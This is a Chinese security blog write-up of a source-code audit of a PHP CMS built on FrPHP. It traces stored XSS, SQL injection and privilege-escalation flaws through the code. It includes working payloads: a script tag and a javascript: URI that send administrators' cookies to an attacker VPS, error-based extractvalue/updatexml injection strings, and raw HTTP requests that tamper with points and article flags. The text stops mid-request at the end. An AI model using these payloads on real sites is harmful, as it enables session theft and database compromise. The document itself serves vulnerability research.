某cms的一次审计
2020-06-12 10:44:32 Author: xz.aliyun.com(查看原文) 阅读量:333 收藏

记一次某cms的一次比较全面的审计(除了插件部分,我觉得应该审计的差不多了),大佬们轻喷。

其实插件部分已经被爱吃猫的闲鱼师傅审计发到先知上了

文章地址:某cms代码审计引发的思考

细心的朋友读完我这篇文章应该就能发现其实是同一个cms

.
├── 404.html
├── A(admin后台的一些文件,审计重点)
├── Conf(一些网站的配置文件,公共函数)
├── FrPHP(框架)
├── Home(用户的一些文件,审计核心)
├── Public(上传文件保存的地方)
├── README.md
├── admin.php(后台入口)
├── backup(数据库备份文件)
├── cache(网站缓存)
├── favicon.ico
├── index.php(前台入口)
├── install(安装目录)
├── readme.txt
├── sitemap.xml
├── static(一些静态文件)
└── web.config

由于下面的漏洞需要频繁的用到这个函数,所以我就单独拿出来先讲解一下。

frparam()

/FrPHP/lib/Controller.php

// 获取URL参数值
    public function frparam($str=null, $int=0,$default = FALSE, $method = null){

        $data = $this->_data;
        if($str===null) return $data;
        if(!array_key_exists($str,$data)){
            return ($default===FALSE)?false:$default;
        }

        if($method===null){
            $value = $data[$str];
        }else{
            $method = strtolower($method);
            switch($method){
                case 'get':
                $value = $_GET[$str];
                break;
                case 'post':
                $value = $_POST[$str];
                break;
                case 'cookie':
                $value = $_COOKIE[$str];
                break;

            } 
        }

        return format_param($value,$int);


    }

第28行,返回值进行了一些处理,继续回溯跟进,format_param方法如下:

/FrPHP/common/Functions.php

/**
    参数过滤,格式化
**/
function format_param($value=null,$int=0){
    if($value==null){ return '';}
    switch ($int){
        case 0://整数
            return (int)$value;
        case 1://字符串
            $value=htmlspecialchars(trim($value), ENT_QUOTES);
            if(!get_magic_quotes_gpc())$value = addslashes($value);
            return $value;
        case 2://数组
            if($value=='')return '';
            array_walk_recursive($value, "array_format");
            return $value;
        case 3://浮点
            return (float)$value;
        case 4:
            if(!get_magic_quotes_gpc())$value = addslashes($value);
            return trim($value);
    }
}

这个函数用来处理数据,只会对数据进行一些简单的过滤,具体的就在上面的switch语句中

第一处存储型xss(只能打管理员cookie)

/Home/c/MessageController.php中的index方法

function index(){

        if($_POST){

            $w = $this->frparam();
            $w = get_fields_data($w,'message',0);

            $w['body'] = $this->frparam('body',1,'','POST');
            $w['user'] = $this->frparam('user',1,'','POST');
            $w['tel'] = $this->frparam('tel',1,'','POST');
            $w['aid'] = $this->frparam('aid',0,0,'POST');
            $w['tid'] = $this->frparam('tid',0,0,'POST');

            if($this->webconf['autocheckmessage']==1){
                $w['isshow'] = 1;
            }else{
                $w['isshow'] = 0;
            }

            $w['ip'] = GetIP();
            $w['addtime'] = time();
            if(isset($_SESSION['member'])){
                $w['userid'] = $_SESSION['member']['id'];
            }
......
......
......
......

这里第20行$w['ip'] = GetIP();,然后我们回溯,去找到GetIP()函数

/FrPHP/common/Functions.php

function GetIP(){ 
  static $ip = '';
  $ip = $_SERVER['REMOTE_ADDR'];
  if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
    $ip = $_SERVER['HTTP_CDN_SRC_IP'];
  } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
  } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
    foreach ($matches[0] AS $xip) {
      if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
        $ip = $xip;
        break;
      }
    }
  }
  return $ip;
}

这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']进行过滤,我们只需要在http头中传入CDN-SRC-IP字段即可

我们可以本地新建一个test.php对该函数进行输出,是可以传入任意字符的

<?php
function GetIP(){
    static $ip = '';
    $ip = $_SERVER['REMOTE_ADDR'];
    if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
        $ip = $_SERVER['HTTP_CDN_SRC_IP'];
    } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
        foreach ($matches[0] AS $xip) {
            if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
                $ip = $xip;
                break;
            }
        }
    }
    return $ip;
}
echo GetIP();

然后我们跟进,找到view模版

/A/t/tpl/message-details.html大约在文件的第86到94行,核心代码如下

......
......
......
<div class="layui-form-item">
<label for="ip" class="layui-form-label">
<span class="x-red">*</span>留言IP
</label>
<div class="layui-input-block">
<input type="text" id="ip" value="{$data['ip']}"   name="ip" 
autocomplete="off" class="layui-input">
</div>
</div>
......
......
......

然后我们看到第9行<input type="text" id="ip" value="{$data['ip']}" name="ip" autocomplete="off" class="layui-input">,这里是可以直接xss的

payload:

"><script src="你的vps-ip/4.js"></script>

4.js内容如下

var image=new Image();
image.src="你的vps-ip:10006/cookies.phpcookie="+document.cookie;

然后我们提交留言

然后在vps上监听10006端口,当管理员点击编辑的时候,就会触发xss

这里的一个弊端,ip并没有显示在外面,很可惜,所以必须要诱导管理员点编辑才可以触发

第二处存储型xss(只能打管理员cookie)

/Home/c/UserController.phprelease()方法的大约第1066行开始,这里的截取了部分关键代码,如下:

switch($w['molds']){
            case 'article':
                if(!$data['body']){

                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'内容不能为空!']);
                    }else{
                        Error('内容不能为空!');
                    }
                }
                if(!$data['title']){
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
                    }else{
                        Error('标题不能为空!');
                    }
                }
                $data['body'] = $this->frparam('body',4);
                $w['title'] = $this->frparam('title',1);
                $w['seo_title'] = $w['title'];
                $w['keywords'] = $this->frparam('keywords',1);
                $w['litpic'] = $this->frparam('litpic',1);
                $w['body'] = $data['body'];
                $w['description'] = newstr(strip_tags($data['body']),200);


                break;
            case 'product':
                if(!$data['body']){
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'内容不能为空!']);
                    }else{
                        Error('内容不能为空!');
                    }
                }
                if(!$data['title']){
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
                    }else{
                        Error('标题不能为空!');
                    }
                }
                $w['title'] = $this->frparam('title',1);
                $w['seo_title'] = $w['title'];
                $w['litpic'] = $this->frparam('litpic',1);
                $w['keywords'] = $this->frparam('keywords',1);
                $w['pictures'] = $this->frparam('pictures',1);
                if($this->frparam('pictures_urls',2)){
                    $w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
                }
                $data['body'] = $this->frparam('body',4);
                $w['body'] = $data['body'];
                if($this->frparam('description',1)){
                    $w['description'] = $this->frparam('description',1);
                }else{
                    $w['description'] = newstr(strip_tags($data['body']),200);
                }

                break;
            default:

                break;
        }

因为上面我们已经介绍过了frparam函数,所以这里不再重复

第22行$w['litpic'] = $this->frparam('litpic',1);

因为我本地并没有配置get_magic_quotes_gpc,所以这里只是对输入的内容进行了htmlspecialcharsaddslashes处理,然后我们再看最后的落点,也就是在/A/t/tpl/article-list.html模版这里进行填充数据

/A/t/tpl/article-list.html关键代码大约在文件的第147行至第153行,如下:

<script type="text/html" id="litpic">
            {{#  if(!d.litpic){ }}
            
            {{#  } else{ }}
            <a href="{{d.litpic}}" target="_blank"><img src="{{d.litpic}}" width="100px" /></a>
            {{#  } }}
        </script>

在上述关键代码的第5行就是填充的数据

所以我们构造payload:

javascript:window.location.href='你的vps-ip?'%2Bdocument.cookie

然后我们只需要发布一篇新文章,然后修改litpic字段即可

然后在后台网站管理——内容列表中

当管理员点开这个缩略图的时候,就可以得到管理员的cookie

第三处存储型xss(只能打管理员cookie)

/Home/c/UserController.php中的userinfo()方法,大约第129行,关键代码如下:

function userinfo(){
        $this->checklogin();
        if($_POST){
            $w = $this->frparam();
            $w['tel'] = $this->frparam('tel',1);
            $w['pass'] = $this->frparam('password',1);
            $w['sex'] = $this->frparam('sex',0,0);
            $w['repass'] = $this->frparam('repassword',1);
            $w['username'] = $this->frparam('username',1);
            $w['email'] = $this->frparam('email',1);
            $w['litpic'] = $this->frparam('litpic',1);
            $w['signature'] = $this->frparam('signature',1);

......
......
......

在上述代码的第11行,同样也是因为缩略图的问题,被加载在了/A/t/tpl/member-list.html中的第115行

,cols: [[ //表头
                  {field: 'id', title: 'ID', width:50, sort: true, fixed:'left'}
                  ,{type:'checkbox'}
                  ,{field: 'isshow', title: '状态',width: 100,templet:'#isshow'}
                  ,{field: 'username', title: '用户名',width: 150, sort: true}
                  ,{field: 'new_gid', title: '分组',width:150}
                  ,{field: 'tel', title: '手机号',width:200,  sort: true}
                  ,{field: 'email', title: '邮箱',width:150,  sort: true}
                  ,{field: 'new_litpic', title: '头像',width:150} 
                  ,{field: 'jifen', title: '积分',width:150} 
                  ,{field: 'money', title: '余额',width:150} 
                  {foreach $fields_list as $v},{field: '{$v['field']}',width:150, title: '{$v['fieldname']}'}{/foreach}

                  ,{field: 'new_regtime', title: '加入时间',width:160}
                  ,{field: 'new_logintime', title: '登录时间',width:160}
                  {if(checkAction('Member/memberedit') || checkAction('Member/member_del'))}
                  ,{field: '', title: '操作',width:260, toolbar: '#rightbar', fixed:'right'}
                  {/if}

这里也是可以打cookie的,跟上述一样,为了演示方便就选择了弹窗

第一处sql注入

/Home/c/MessageController.php中的index方法

function index(){

        if($_POST){

            $w = $this->frparam();
            $w = get_fields_data($w,'message',0);

            $w['body'] = $this->frparam('body',1,'','POST');
            $w['user'] = $this->frparam('user',1,'','POST');
            $w['tel'] = $this->frparam('tel',1,'','POST');
            $w['aid'] = $this->frparam('aid',0,0,'POST');
            $w['tid'] = $this->frparam('tid',0,0,'POST');

            if($this->webconf['autocheckmessage']==1){
                $w['isshow'] = 1;
            }else{
                $w['isshow'] = 0;
            }

            $w['ip'] = GetIP();
            $w['addtime'] = time();
            if(isset($_SESSION['member'])){
                $w['userid'] = $_SESSION['member']['id'];
            }
......
......
......
......

这里第20行$w['ip'] = GetIP();,然后我们回溯,去找到GetIP()函数

/FrPHP/common/Functions.php

function GetIP(){ 
  static $ip = '';
  $ip = $_SERVER['REMOTE_ADDR'];
  if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
    $ip = $_SERVER['HTTP_CDN_SRC_IP'];
  } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
  } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
    foreach ($matches[0] AS $xip) {
      if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
        $ip = $xip;
        break;
      }
    }
  }
  return $ip;
}

这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']进行过滤,我们只需要在http头中传入CDN-SRC-IP字段即可

我们可以本地对该函数进行输出,是可以传入任意字符的,上面的xss漏洞处已经做过演示了,这里就不再重复赘述了。

然后我们继续跟进,在/Home/c/MessageController.php中的第76行$res = M('message')->add($w);,这个add方法是Frphp框架的一个插入数据表的方法

/FrPHP/lib/Model.php中的add方法

// 新增数据
    public function add($row)
    {
       if(!is_array($row))return FALSE;
        $row = $this->__prepera_format($row);
        if(empty($row))return FALSE;
        foreach($row as $key => $value){
            if($value!==null){
                $cols[] = $key;
                $vals[] = '\''.$value.'\'';
            }
        }
        $col = join(',', $cols);
        $val = join(',', $vals);
        $table = self::$table;
        $sql = "INSERT INTO {$table} ({$col}) VALUES ({$val})";
        if( FALSE != $this->runSql($sql) ){
            if( $newinserid = $this->db->lastInsertId() ){
                return $newinserid;
            }else{
                $a=$this->find($row, "{$this->primary} DESC",$this->primary);
                return array_pop($a);
            }
        }
        return FALSE;
    }

显然,第10行的$value我们可控(前面的ip可控),而且这里也并没有对插入数据表的数据进行过滤,所以这里存在sql注入,这里可以直接进行报错注入

查询当前用户payload:

2' and extractvalue(0x0a,concat(0x0a,(select user()))) and '1

第二处sql注入

/Home/c/UserController.php中的release方法中的关键代码如下:

//文章发布和修改
    function release(){
    $this->checklogin();
    error_reporting(E_ALL^E_NOTICE);

    if($_POST){
        $data = $this->frparam();
........
........
........
                $w['tid'] = $this->frparam('tid');
        if(!$w['tid']){
            if($this->frparam('ajax')){
                JsonReturn(['code'=>1,'msg'=>'请选择分类!']);
            }else{
                Error('请选择分类!');
            }

        }
      $w['molds'] = $this->classtypedata[$w['tid']]['molds'];
      $w = get_fields_data($data,$w['molds']);
........
........
........
          if($this->frparam('id')){
            $a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);

上述代码第7行$data = $this->frparam()frparam()方法前面已经提过了,这里就不再累赘重复了

这里是用来接收值的,如果是post传输的,就接收所有post的值,并且不进行过滤。

然后第11行代码$w['tid'] = $this->frparam('tid');,这里会接收参数名为tid的值,并且会进行return (int)$value;处理,这样传入1'就不行了,但是没关系,我们接着看第21行$w = get_fields_data($data,$w['molds']);,我们回溯一下get_fields_data()方法

/Conf/Functions.php

function get_fields_data($data,$molds,$isadmin=1){
     if($isadmin){
         $fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc');
     }else{
         //前台需要判断是否前台显示
         $fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
     }
     foreach($fields as $v){
         if(array_key_exists($v['field'],$data)){
             switch($v['fieldtype']){
                 case 1:
                 case 2:
                 case 5:
                 case 7:
                 case 9:
                 case 12:
                 $data[$v['field']] = format_param($data[$v['field']],1);
                 break;
                 case 11:
                 $data[$v['field']] = strtotime(format_param($data[$v['field']],1));
                 break;
                 case 3:
                 $data[$v['field']] = format_param($data[$v['field']],4);
                 break;
                 case 4:
                 case 13:
                 $data[$v['field']] = format_param($data[$v['field']]);
                 break;
                 case 14:
                 $data[$v['field']] = format_param($data[$v['field']],3);
                 break;
                 case 8:
                 $r = implode(',',format_param($data[$v['field']],2));
                 if($r!=''){
                     $r = ','.$r.',';
                 } 

                 $data[$v['field']] = $r;
                 break;

             }
         }else if(array_key_exists($v['field'].'_urls',$data)){
             switch($v['fieldtype']){
                 case 6:
                 case 10:
                 $data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2));
                 break;
             }
         }else{

            $data[$v['field']] = '';      

         }

     }
     return $data;

 }

因为我们不是admin,所以我们会执行第6行代码$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');

这里我post传入参数,简单的debug了一下,如下

所以上述代码$fields['field']是不存在的,所以只会执行第51行代码$data[$v['field']] = '';,所以第56行返回的代码就是$data = $this->frparam();,这也就解释了为什么中间对tip进行过滤,但为什么最后依然还是存在注入,这应该是个严重的开发失误。

然后我们接着回溯update()方法

/FrPHP/lib/Model.php

// 修改数据
    public function update($conditions,$row)
    {
        $where = "";
        $row = $this->__prepera_format($row);
        if(empty($row))return FALSE;
        if(is_array($conditions)){
            $join = array();
            foreach( $conditions as $key => $condition ){
                $condition = '\''.$condition.'\'';
                $join[] = "{$key} = {$condition}";
            }
            $where = "WHERE ".join(" AND ",$join);
        }else{
            if(null != $conditions)$where = "WHERE ".$conditions;
        }
        foreach($row as $key => $value){
            if($value!==null){
                $value = '\''.$value.'\'';
                $vals[] = "{$key} = {$value}";
            }else{
                $vals[] = "{$key} = null";
            }

        }
        $values = join(", ",$vals);
        $table = self::$table;
        $sql = "UPDATE {$table} SET {$values} {$where}";
        return $this->runSql($sql);


    }

/Home/c/UserController.php关键代码中的第25-26行,虽然25行if($this->frparam('id'))id进行了过滤,但是第26行$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);这里update插入的是最原始的数据,,=也就是$w = get_fields_data($data,$w['molds']);。虽然$conditions也就是条件被过滤了,但是不影响我们注入。

所以这里的idmoldstid三个字段都存在sql注入

第三处sql注入

/Home/c/UserController.php中的userinfo()方法中的关键代码如下:

function userinfo(){
        $this->checklogin();
        if($_POST){
            $w = $this->frparam();
            $w['tel'] = $this->frparam('tel',1);
            $w['pass'] = $this->frparam('password',1);
            $w['sex'] = $this->frparam('sex',0,0);
            $w['repass'] = $this->frparam('repassword',1);
            $w['username'] = $this->frparam('username',1);
            $w['email'] = $this->frparam('email',1);
            $w['litpic'] = $this->frparam('litpic',1);
            $w['signature'] = $this->frparam('signature',1);
            $w = get_fields_data($w,'member',0);
........
........
........
            $re = M('member')->update(['id'=>$this->member['id']],$w);
            $member = M('member')->find(['id'=>$this->member['id']]);
            unset($member['pass']);
            $_SESSION['member'] = array_merge($_SESSION['member'],$member);
            if($this->frparam('ajax')){
                JsonReturn(['code'=>0,'msg'=>'修改成功!']);
            }
            Error('修改成功!');

这里我们对比一下我post抓包后的字段,我们发现有3个字段没有进行过滤,分别是provincecityaddress这三个字段

然后第17行$re = M('member')->update(['id'=>$this->member['id']],$w);所有字段依旧被update更新了,所以这里就存在了注入,还是一个报错注入,如果不回显报错也没有关系的,这里存在时间盲注,也是可以注入的

payload:

1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '

province字段演示

city字段演示

address字段演示

第一处逻辑漏洞——任意订单查看

首先注册两个账号,账号A和账号B

然后用账号B购买一些商品,产生交易记录和订单号码

然后在A用户这里我的钱包——交易记录可以看到其他人的交易订单

而且这里的订单号明显是更具时间戳进行命名的,我用其他A账户也可以直接访问到B账户的一些订单信息

然后我们来分析为什么

/Home/c/UserController.php

//购买列表
    function buylist(){
        $this->checklogin();
        //兑换记录
        $page1 = new Page('buylog');
        $this->type = $this->frparam('type',0,1);
        if($this->type==1){
            $sql =" buytype='money' and type=2 ";
        }else if($this->type==2){
            $sql =" buytype='jifen' and type=1 ";
        }else{
            $sql = " type=3 ";
        }

        $data1 = $page1->where($sql)->orderby('addtime desc')->page($this->frparam('p',0,1))->go();
        $page1->file_ext = '';
        $pages1 = $page1->pageList(5,'?p=');
        $this->pages1 = $pages1;
        foreach($data1 as $k=>$v){
            $data1[$k]['date'] = date('Y-m-d H:i:s',$v['addtime']);
            $data1[$k]['details'] = U('user/buydetails',['id'=>$v['id']]);
        }
        $this->lists1 = $data1;//列表数据
        $this->sum1 = $page1->sum;//总数据
        $this->listpage1 = $page1->listpage;//分页数组-自定义分页可用
        $this->prevpage1 = $page1->prevpage;//上一页
        $this->nextpage1 = $page1->nextpage;//下一页
        $this->allpage1 = $page1->allpage;//总页数
        //订单记录
        $page = new Page('orders');
        $this->type = $this->frparam('type',0,1);
        if($this->type==1){
            $sql =" ptype=1 ";
        }else{
            $sql =" ptype=2 ";
        }
        $sql.="  and isshow!=0  ";
        $data = $page->where($sql)->orderby('addtime desc')->page($this->frparam('page',0,1))->go();
        $page->file_ext = '';
        $pages = $page->pageList(5,'?page=');
        $this->pages = $pages;
        foreach($data as $k=>$v){
            $data[$k]['date'] = date('Y-m-d H:i:s',$v['addtime']);
            $data[$k]['orderdetails'] =  U('user/orderdetails',['orderno'=>$v['orderno']]);
            $data[$k]['orderdel'] =  U('user/orderdel',['orderno'=>$v['orderno']]);
            $data[$k]['buytype'] = M('buylog')->getField(['orderno'=>$v['orderno']],'type');
        }
        $this->lists = $data;//列表数据
        $this->sum = $page->sum;//总数据
        $this->listpage = $page->listpage;//分页数组-自定义分页可用
        $this->prevpage = $page->prevpage;//上一页
        $this->nextpage = $page->nextpage;//下一页
        $this->allpage = $page->allpage;//总页数

        $this->display($this->template.'/user/buy-list');
    }

可以看到第15行,这里在查询数据的时候,并没有查询某个特定用户,而是把所有人的购买记录都查询出来了,这样的话其他人都可以看到你的订单,你也可以看到其他人的订单。这里其实是开发者的问题,由于开发的失误才会导致这个问题。

第二处逻辑漏洞——越权修改用户自己的积分

这里我们先演示一下结果,然后再去分析

首先我们注册一个账号,然后在后台看他的积分,是1积分

然后我们登录这个账号,然后在资料账户这里点提交抓包

然后在post字段中添加jifen=1234,发包

然后去后台看积分,发现积分已经被修改成了1234

接下来我们来分析一下为什么会这样

上面的用户资料账户的代码在/Home/c/UserController.php中的userinfo方法里

function userinfo(){
        $this->checklogin();
        if($_POST){
            $w = $this->frparam();
            $w['tel'] = $this->frparam('tel',1);
            $w['pass'] = $this->frparam('password',1);
            $w['sex'] = $this->frparam('sex',0,0);
            $w['repass'] = $this->frparam('repassword',1);
            $w['username'] = $this->frparam('username',1);
            $w['email'] = $this->frparam('email',1);
            $w['litpic'] = $this->frparam('litpic',1);
            $w['signature'] = $this->frparam('signature',1);
            $w = get_fields_data($w,'member',0);
            if($w['tel']!=''){
                if(preg_match("/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\d{8}$/",$w['tel'])){  

                }else{  
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'手机号码格式错误!']);
                    }
                    Error('手机号码格式错误!');

                }
                //檢查是否已經註冊
                $r = M('member')->find(['tel'=>$w['tel']]);
                if($r){
                    if($r['id']!=$this->member['id']){

                        if($this->frparam('ajax')){
                            JsonReturn(['code'=>1,'msg'=>'手机号已被注册!']);
                        }
                        Error('手机号已被注册!');
                    }
                }
            }
            if($w['username']==''){
                if($this->frparam('ajax')){
                    JsonReturn(['code'=>1,'msg'=>'账户不能为空!']);
                }
                Error('账户不能为空!');
            }
            if($w['pass']!=$w['repass'] && $w['pass']!=''){
                if($this->frparam('ajax')){
                    JsonReturn(['code'=>1,'msg'=>'两次密码不同!']);
                }
                Error('两次密码不同!');
            }
            if($w['email']){
                $r = M('member')->find(['email'=>$w['email']]);
                if($r){
                    if($r['id']!=$this->member['id']){
                        if($this->frparam('ajax')){
                            JsonReturn(['code'=>1,'msg'=>'邮箱已被使用!']);
                        }
                        Error('邮箱已被使用!');
                    }
                }
            }

            $r = M('member')->find(['username'=>$w['username']]);
            if($r){
                if($r['id']!=$this->member['id']){
                    if($this->frparam('ajax')){
                        JsonReturn(['code'=>1,'msg'=>'昵称已被使用!']);
                    }
                    Error('昵称已被使用!');
                }
            }
            if($w['pass']!=''){
                $w['pass'] = md5(md5($w['pass']).md5($w['pass']));
            }else{
                unset($w['pass']);
                unset($w['repass']);
            }
            $re = M('member')->update(['id'=>$this->member['id']],$w);
            $member = M('member')->find(['id'=>$this->member['id']]);
            unset($member['pass']);
            $_SESSION['member'] = array_merge($_SESSION['member'],$member);
            if($this->frparam('ajax')){
                JsonReturn(['code'=>0,'msg'=>'修改成功!']);
            }
            Error('修改成功!');

        }

        $this->display($this->template.'/user/userinfo');

    }

然后我们再来看admin那里修改用户积分的代码

/A/c/MemberController.php

function memberedit(){
        $this->fields_biaoshi = 'member';
        if($this->frparam('go')==1){
            $data = $this->frparam();
            $data = get_fields_data($data,'member');
            $data['username'] = $this->frparam('username',1);
            $data['email'] = $this->frparam('email',1);
            $data['litpic'] = $this->frparam('litpic',1);
            $data['address'] = $this->frparam('address',1);
            $data['province'] = $this->frparam('province',1);
            $data['city'] = $this->frparam('city',1);
            $data['signature'] = $this->frparam('signature',1);
            $data['birthday'] = $this->frparam('birthday',1);
            if($data['pass']!=''){
                if($data['pass']!=$data['repass']){
                    JsonReturn(array('code'=>1,'msg'=>'两次密码不同!'));
                }
                $data['pass']  =  md5(md5($data['pass']).md5($data['pass']));
            }else{
                unset($data['pass']);
            }
            if(M('member')->update(array('id'=>$data['id']),$data)){
                JsonReturn(array('code'=>0,'msg'=>'修改成功!'));
            }else{
                JsonReturn(array('code'=>1,'msg'=>'修改失败,请重新提交!'));
            }



        }

        $this->data = M('member')->find(['id'=>$this->frparam('id')]);
        if(!$this->data){
            Error('没有找到该用户!');
        }

        $this->display('member-edit');
    }

admin处修改的post表单如下:

POST /admin.php/Member/memberedit.html HTTP/1.1
Host: www.**.net
Content-Length: 159
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.**.net
Referer: http://www.**.net/admin.php/Member/memberedit/id/3.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=cdjbtp3sjhc70tg6pko7jguls5
Connection: close

go=1&id=3&email=333%40qq.com&tel=13011111111&username=13011111111&gid=1&jifen=1234.00&litpic=&file=&birthday=&signature=&province=&city=&address=&pass=&repass=

也就是说这里表单会传递一个jifen字段提交给后端,然后update写入到数据库中,但是并没有判断是用户传递的还是admin传递的,这就造成了用户在修改资料的时候,直接提交一个jifen字段即可

所以我们就在用修改用户资料的地方直接传入一个参数jifen=1234就可以修改积分了

POST /user/userinfo.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/userinfo.html
Cookie: PHPSESSID=6jgmku4kuk71mdljmai77cj432
Upgrade-Insecure-Requests: 1

litpic=&file=&username=13011111111&tel=13011111111&email=333%40qq.com&sex=0&province=&city=&address=&password=&repassword=&signature=&submit=%E6%8F%90%E4%BA%A4&jifen=1234

第三处逻辑漏洞——越权修改自己的文章状态

这里我们先演示一下结果,然后再去分析

首先我们注册一个账号,然后点发布文章,随便发布一篇文章

然后在后台看到记录

然后我们在提交文章的地方添加字段ishot=1

然后就可以看到文章是热属性了,虽然文章还没有被审核

跟第一个越权漏洞类似,该漏洞也是因为在用户端没有过滤参数所导致的,这样可以让用户进行恶意传递参数来导致文章的状态被修改

/A/c/ArticleController.php

......
......
......
if($this->frparam('title',1)!=''){
    $sql.=" and title like '%".$this->frparam('title',1)."%' ";
}
if($this->frparam('shuxing')){
                if($this->frparam('shuxing')==1){
                    $sql.=" and istop=1 ";
                }
                if($this->frparam('shuxing')==2){
                    $sql.=" and ishot=1 ";
                }
                if($this->frparam('shuxing')==3){
                    $sql.=" and istuijian=1 ";
                }

            }
$data = $page->where($sql)->orderby('istop desc,orders desc,id desc')->limit($this->frparam('limit',0,10))->page($this->frparam('page',0,1))->go();
            $ajaxdata = [];
foreach($data as $k=>$v){

                if($v['ishot']==1){
                    $v['tuijian'] = '热';
                }else if($v['istuijian']==1){
                    $v['tuijian'] = '荐';
                }else if($v['istop']==1){
                    $v['tuijian'] = '顶';
                }else{
                    $v['tuijian'] = '无';
                }

......
......
......

这里是三种状态,ishot=1代表热,istuijian=1代表荐,istop=1代表顶,如果什么都没有那就是无

所以只需要在用户发布文章的地方添加字段ishot=1或者istuijian=1或者istop=1即可

POST /user/release.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 119
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/release.html
Cookie: PHPSESSID=6jgmku4kuk71mdljmai77cj432

ajax=1&isshow=&molds=article&tid=2&title=hot&keywords=hoht&litpic=&description=hot&body=%3Cp%3Ehot%3Cbr%2F%3E%3C%2Fp%3E&ishot=1

第四处逻辑漏洞——越权修改别人已发表的文章为未审核

/Home/c/UserController.php中的release()方法

//文章发布和修改
    function release(){
......
......
......
......
......  
        $molds = $this->frparam('molds',1,'article');
        $tid = $this->frparam('tid',0,0);
        if($this->frparam('id')){
            $this->data = M($molds)->find(['id'=>$this->frparam('id'),'member_id'=>$this->member['id']]);
            $molds = $this->data['molds'];
            $this->moldsdata = M('molds')->find(['biaoshi'=>$molds]);
            $tid = $this->data['tid'];
        }else{
            $this->data = false;
        }
        $this->molds = $molds;
        $this->tid = $tid;
        $this->classtypetree =  get_classtype_tree();
        $this->display($this->template.'/user/article-add');

    }

上述代码第10行至第21行,if($this->frparam('id'))这里对id并没有判断到底是改用户的文章还是其他用户对文章,导致可以对任意用户对文章进行修改,即把他们的文章变成自己的文章

下面是演示结果:

这里首先需要你发表过文章,不需要审核,只需要发布即可。然后进入编辑模式,点提交,抓包

POST /user/release.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: http://www.**.net
Connection: close
